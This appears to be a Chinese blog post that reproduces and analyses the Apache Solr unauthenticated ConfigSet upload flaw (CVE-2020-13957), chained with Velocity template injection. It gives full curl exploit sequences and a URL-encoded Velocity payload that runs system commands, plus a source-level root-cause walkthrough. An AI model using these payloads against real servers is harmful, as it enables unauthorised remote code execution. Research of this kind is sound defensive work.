CVE-2020-13957 Apche Solr 未授权上传漏洞

前言

Apache Solr 发布公告,旧版本的 ConfigSet API 中存在未授权上传漏洞风险,被利用可能导致 RCE (远程代码执行)。

影响版本

  • Apache Solr6.6.0 -6.6.5
  • Apache Solr7.0.0 -7.7.3
  • Apache Solr8.0.0 -8.6.2

环境搭建

项目地址

为了方便之后的调试工作,我们下载源代码,利用 ant + ivy 进行编译

1
2
3
4
5
ant ivy-bootstrap  //安装ivy
cd solr
ant server
cd ..
ant idea

为了加快下载的速度,在根目录下的 bulid.xml & /solr/build.xml 中都添加代理地址

1
<setproxy proxyhost="127.0.0.1" proxyport="1080"/>

来来回回环境依赖下载了好多天,快要下载到我心灵崩溃。最后反反复复,终于确定了一件事情,太过老旧的版本并不适合去进行编译,因为他们访问 maven 依赖的方法还是利用 http,而现如今只能通过 https 来进行访问,所以无论是再怎么利用手机开热点,再怎么更换代理节点,带给我的结果只有 ERROR。

下载项目
来进行编译

漏洞复现

1
2
cd \solr\bin 
solr.cmd start -e cloud

启动SolrCloud,访问 http://127.0.0.1:8983

首先进行一个恶意的配置
solr\server\solr\configsets\sample_techproducts_configs\conf\solrconfig.xml

1
2
<str name="solr.resource.loader.enabled">${velocity.solr.resource.loader.enabled:true}</str>
<str name="params.resource.loader.enabled">${velocity.params.resource.loader.enabled:true}</str>

👇

攻击过程:

利用方法一

  • solr\server\solr\configsets\sample_techproducts_configs\conf 目录下的所有文件,打包成一个压缩文件

  • curl -X POST --header "Content-Type:application/octet-stream" --data-binary @mytest.zip "http://127.0.0.1:8983/solr/admin/configs?action=UPLOAD&name=mytest" #注册一个配置文件集合为mytest

  • curl "http://127.0.0.1:8983/api/cluster/configs?omitHeader=true" #查询配置文件集合是否上传成功

  • curl "http://127.0.0.1:8983/solr/admin/configs?action=CREATE&name=mytest1&baseConfigSet=mytest&configSetProp.immutable=false&wt=xml&omitHeader=true" #根据UPLOAD的配置,创建一个新的配置,绕过不能通过直接UPLOAD创建collection的限制

  • curl "http://127.0.0.1:8983/solr/admin/collections?action=CREATE&name=mytest2&numShards=1&collection.configName=mytest1"

  • curl -g -v "http://127.0.0.1:8983/solr/mytest2/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x='')+%23set($rt=$x.class.forName('java.lang.Runtime'))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end" # 执行命令

利用方法二

  • solr\server\solr\configsets\sample_techproducts_configs\conf 目录下的所有文件,打包成一个压缩文件

  • curl -X POST --header "Content-Type:application/octet-stream" --data-binary @mytest.zip "http://127.0.0.1:8983/solr/admin/configs?action=UPLOAD&name=mytest" #注册一个配置文件集合为mytest

  • curl -v "http://127.0.0.1:8983/solr/admin/collections?action=CREATE&name=mytest1&numShards=2&replicationFactor=1&wt=xml&collection.configName=mytest" #选择恶意的solrconfig.xml创建新的Collection

  • curl -g -v "http://127.0.0.1:8983/solr/mytest1/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x='')+%23set($rt=$x.class.forName('java.lang.Runtime'))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end" # 执行命令

网络漏洞分析

编译成功后将源代码导入 idea 当中,开启 solr 并设置 debug 模式

1
2
3
4
cd \solr\bin 
solr.cmd start -e cloud
solr.cmd stop -all
solr.cmd -c -f -a "-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=18522" -p 8983

漏洞的利用需要开启 solrcloud ,前期想着通过一条命令开启 debug 模式的同时,也开启 solrcloud ,但是经过不断的测试,发现是不能成功的,在师傅博客之上看见,通过创建两个文件夹去做这个事情,既搞不清楚原理,操作起来也非常麻烦。但是偶然之间,发现先开启 solrcolud 之后,配置文件也会因此而生成,停止所有的 slor 服务之后,再启动 debug 就可以成功了。

在 idea 中配置远程调试的参数

在网上的文章找那个会经常出现模板这个名词,为了防止指代不明,本文章的所有模板均指的是Veloctiy 模板。关于solr上的相关名词 创建 collection 的配置文件就称之为config_set。

当传入 zip 配置文件去生成一个config_set时,会调用 getTrusted 函数进行判断是否允许创建该配置:

curl -X POST --header “Content-Type:application/octet-stream” --data-binary @mytest.zip “http://127.0.0.1:8983/solr/admin/configs?action=UPLOAD&name=mytest

org/apache/solr/handler/admin/ConfigSetsHandler.java

org.apache.solr.handler.admin.ConfigSetsHandler#getTrusted

虽然配置文件集被标记为不值得信任的(缺少身份验证),但是还是创建了该config_set。

curl “http://127.0.0.1:8983/solr/admin/configs?action=CREATE&name=mytest1&baseConfigSet=mytest&configSetProp.immutable=false&wt=xml&omitHeader=true

根据刚才上传的 config_set 去生成一个新的 config_set1
org.apache.solr.handler.admin.ConfigSetsHandler.ConfigSetOperation

我们注意到,在利用之前上传的 config_set 创建新的 config_set1 的时候,并未触发 getTrusted 断点,这也就意味着,在 CREATE 通过母版创建子版的时候并没有触发校验。

此时再根据创建的 config_set1 去创建 collections 来调用solr组件进行远程代码执行

curl “http://127.0.0.1:8983/solr/admin/collections?action=CREATE&name=mytest2&numShards=1&collection.configName=mytest1

执行命令

curl -g -v "http://127.0.0.1:8983/solr/mytest2/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x='')+%23set($rt=$x.class.forName('java.lang.Runtime'))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"

进一步思考

关于根据 config_set1 创建 collections 以及创建出的 collections 为何能够实现远程代码执行,此处暂时先不讲。 我们需要深入分析的问题目前有两个:

  • 为什么通过直接上传的 config_set 不能创建 collections ?
  • 为什么通过直接上传的 config_set 又可以创建 collections ?

这两个问题看似自相矛盾,其实就代表的网上关于这个漏洞的两种利用方法。
一个是要重新创建一个配置,另一个是直接就可以,直到我在源码里面看到了这个

replicationFactor 并不是一个什么特殊的参数,仅仅是创建 collections 时可有可无的参数,与这个漏洞并没有很大的关系。至于网上的第一篇文章在讲述为什么用通过 config_set 去创建 config_set1 之后才能创建 collections 我猜测可能是因为通过图形化去创建,触发了什么别的校验而没有成功?通过命令行的 api 接口去进行创建时就ok了。可见不能完全照抄网上的分析。
我笑了,原来这么长时间就分析了个寂寞,事实的真相可能就是,即使未通过身份校验,上传的 config_set 也会直接写入服务器内,然后通过该 config_set 去创建 collections,然后通过 collections 进行模板渲染命令执行。

Velocity模版远程命令执行

Apche Solr 未授权上传漏洞(CVE-2020-13957) 通过上传恶意模板,进而导致的远程命令执行,造成远程命令执行的原因是 Apache Solr Velocity 注入远程命令执行漏洞(CVE-2019-17558)。

由于 Solr 默认未开启登录认证,只需要请求/节点/config,将配置项 params.resource.loader.enabled 设置为 true ,再构造链接让 Solr 中的 Velocity 模板引擎渲染传入恶意模板,造成命令执行。

Velocity

Velocity是一个基于Java的模板引擎,其提供了一个Context容器,在java代码里面我们可以往容器中存值,然后在vm文件中使用特定的语法获取,这是velocity基本的用法,其与jsp、freemarker并称为三大视图展现技术,相对于jsp而言,velocity对前后端的分离更加彻底:在vm文件中不允许出现java代码,而jsp文件中却可以。

如果我们模板 test.vm 内容如下时, Velocity 将会执行命令,并显示执行结果。

1
2
3
4
5
6
7
8
9
10
#set($x='')
#set($rt=$x.class.forName('java.lang.Runtime'))
#set($chr=$x.class.forName('java.lang.Character'))
#set($str=$x.class.forName('java.lang.String'))
#set($ex=$rt.getRuntime().exec('whoami'))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

所以当以 Velocity 为模板渲染引擎,如果渲染的模板内容可控的话,就可以通过构造恶意模板来执行任意命令。

漏洞分析

POC代码为

curl -g -v "http://127.0.0.1:8983/solr/mytest2/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x='')+%23set($rt=$x.class.forName('java.lang.Runtime'))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"

solr 在查询数据结束之后,会根据 wt 参数的值来确定数据返回的格式,可以是 XML、JSON、CSV,Veloctiy 模板渲染等,漏洞触发为使用 Veloctiy 模板渲染来返回查询数据结果。

org.apache.solr.response.QueryResponseWriter

根据 wt 确定数据处理的对象,core 为选择创建的 collection。

org.apache.solr.core.SolrCore#getQueryResponseWriter(java.lang.String)

QueryResponseWriter 的类型为 VelocityResponseWriter,然后跟进到
org.apache.solr.response.VelocityResponseWriter#write

初始化模板引擎 采用了 createEngine 方法
org.apache.solr.response.VelocityResponseWriter#createEngine

如果 paramsResourceLoaderEnabled 的值为 true,程序会创建一个参数资源加载器对象,即模板内容是前端传入的参数。所以设定config_set时要满足 velocity.params.resource.loader.enabled:true,这样创建出来的 collection 才可行。

可以看到经过 new SolrParamResourceLoader(request) 的处理 custom.vm 中存储了会执行的命令。
org.apache.solr.response.SolrParamResourceLoader#SolrParamResourceLoader

SolrParamResourceLoader 会解析前端传进的所有参数,并对 v.template. 开头的参数进行处理,截断 v.template. 并拼接 .vm,再传入前端传进的所有参数。

经过处理初始化模板引擎之后又返回最开始的函数
org.apache.solr.response.VelocityResponseWriter#write

紧接着加载模板文件
跟进 org.apache.solr.response.VelocityResponseWriter#getTemplate

在获取模板的对象的时候,将前端传入的参数 v.template 的值拼接 .vm,得到 custom.vm,就是上一步初始化时传入的恶意模板。加载的模板文件就是 custom.vm。
紧接着就是进行合并渲染

漏洞因此触发。

大概的一个触发流程可以这么理解,初始化模板引擎时创建了一个恶意模板,在加载模板时选择了初始化时创建的恶意模板,最后进行合并渲染的时候触发了 Velocity的远程命令执行。

参考文章

CVE-2020-13957 Apache Solr 未授权上传漏洞复现&&分析
Apache solr Velocity模版远程命令执行漏洞分析
Apache-Solr-Vulnerability